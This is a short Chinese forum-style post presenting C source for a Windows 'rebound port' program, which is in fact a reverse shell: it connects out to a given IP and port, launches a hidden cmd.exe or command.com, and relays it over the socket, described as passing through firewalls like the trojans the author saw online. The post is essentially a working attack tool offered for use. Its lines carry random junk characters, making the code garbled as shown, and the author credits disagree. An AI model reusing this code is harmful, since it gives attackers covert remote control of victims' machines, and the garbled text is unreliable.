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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m(D-?mhL  
Cl3L)  
/* ============================== Br.UN~q  
Rebound port in Windows NT L,ax^]  
By wind,2006/7  wG6Oz2(  
===============================*/ pred{HEye  
#include h:sf?X[  
#include Db;>MWt+e  
'-Oh$hqCx|  
#pragma comment(lib,"wsock32.lib") U#Iwe=  
ov daK"q2  
void OutputShell(); )1gT&sU0  
SOCKET sClient; ~*]7f%L-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G9GHBwT  
06Q9X!xD  
void main(int argc,char **argv) pp(?rE$S  
{ .J8 gW  
WSADATA stWsaData; 0AF,} &$  
int nRet; :Nwv &+  
SOCKADDR_IN stSaiClient,stSaiServer; =#[t!-@  
Q7{{r&|t&  
if(argc != 3) s,kY12<7m  
{ atw*t1)g  
printf("Useage:\n\rRebound DestIP DestPort\n"); jeJspch+#  
return; c;!| =  
} h9!4\{V;h  
[9j,5d&m  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2|] <U[  
"5'eiYm s  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O*!f%}  
~b0l?P*Ff  
stSaiClient.sin_family = AF_INET; f8V )nM+v"  
stSaiClient.sin_port = htons(0); 2J%L%6z8~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IXlk1tHN4I  
BE],PCpPr  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0c1=M|2  
{ 8~~ k?  
printf("Bind Socket Failed!\n"); ,-8Xb+!8I  
return; y?A*$6  
} Y6.Bi  
;b. m X  
stSaiServer.sin_family = AF_INET; `T{CB) ?9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m1X*I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >[wB|V5  
,?IXfJ`c  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w=: c7Y+  
{ p#-=mXE/2  
printf("Connect Error!"); q/Ji}NGm  
return; QMmZvz\^  
} aBQ@n  
OutputShell(); qn{4AWmJ  
} %s9*?6  
wZ69W$,p  
void OutputShell() 6@3v+Vf'  
{ A$n.'*gK  
char szBuff[1024]; !q$>6P  
SECURITY_ATTRIBUTES stSecurityAttributes; fe"w--v  
OSVERSIONINFO stOsversionInfo; >Z<ZT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7GG`9!l]D  
STARTUPINFO stStartupInfo; UH;bg}=8  
char *szShell; a`]ZyG*P  
PROCESS_INFORMATION stProcessInformation; {7MY*&P$,  
unsigned long lBytesRead; v6 |[p  
,\#j6R,{I  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kmo#jITa`  
' V*}d  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w7Mh8'P54  
stSecurityAttributes.lpSecurityDescriptor = 0; u,}>I%21  
stSecurityAttributes.bInheritHandle = TRUE; DMs8B&Y=  
9 C{Xpu  
l@u  "iGw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6W3."};  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +lZ-xU1  
Eza^Tbq%j?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AE`UnlUSF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n "^rS}Y]  
stStartupInfo.wShowWindow = SW_HIDE; 1vCp<D9<  
stStartupInfo.hStdInput = hReadPipe; 0(9gTxdB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Xc^(e?L4  
m^0 I3;  
GetVersionEx(&stOsversionInfo); R/Sm  
[u J<]  
switch(stOsversionInfo.dwPlatformId) [D(JEO@ :  
{ V$;`#J$\b  
case 1: e6qIC*C!  
szShell = "command.com"; rg#/kd<?[V  
break; zQt)>Qx_  
default: !{ _:k%B  
szShell = "cmd.exe"; AW9%E/{  
break; DT6 BFx  
} rM6S%rS  
{{[@ X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z|Xt'?9&n  
Z0D&ayzkh^  
send(sClient,szMsg,77,0); T nyLVIP  
while(1) dVGcth;  
{ Z=%u:K}[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '%:E4oI  
if(lBytesRead) 1rU\ !GfR  
{ B6\/xKmv?8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S$R=!3* "V  
send(sClient,szBuff,lBytesRead,0); eb,QT\/G  
} eI|~neh  
else + iQ~ Y2Gh  
{ K;s`  
lBytesRead=recv(sClient,szBuff,1024,0); v<g#/X8  
if(lBytesRead<=0) break; D62'bFB^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N"Y%* BkH  
} 6& hiW]Adm  
} 7Wiwnv_"  
O8rd*+  
return; |Xd& aQ  
}
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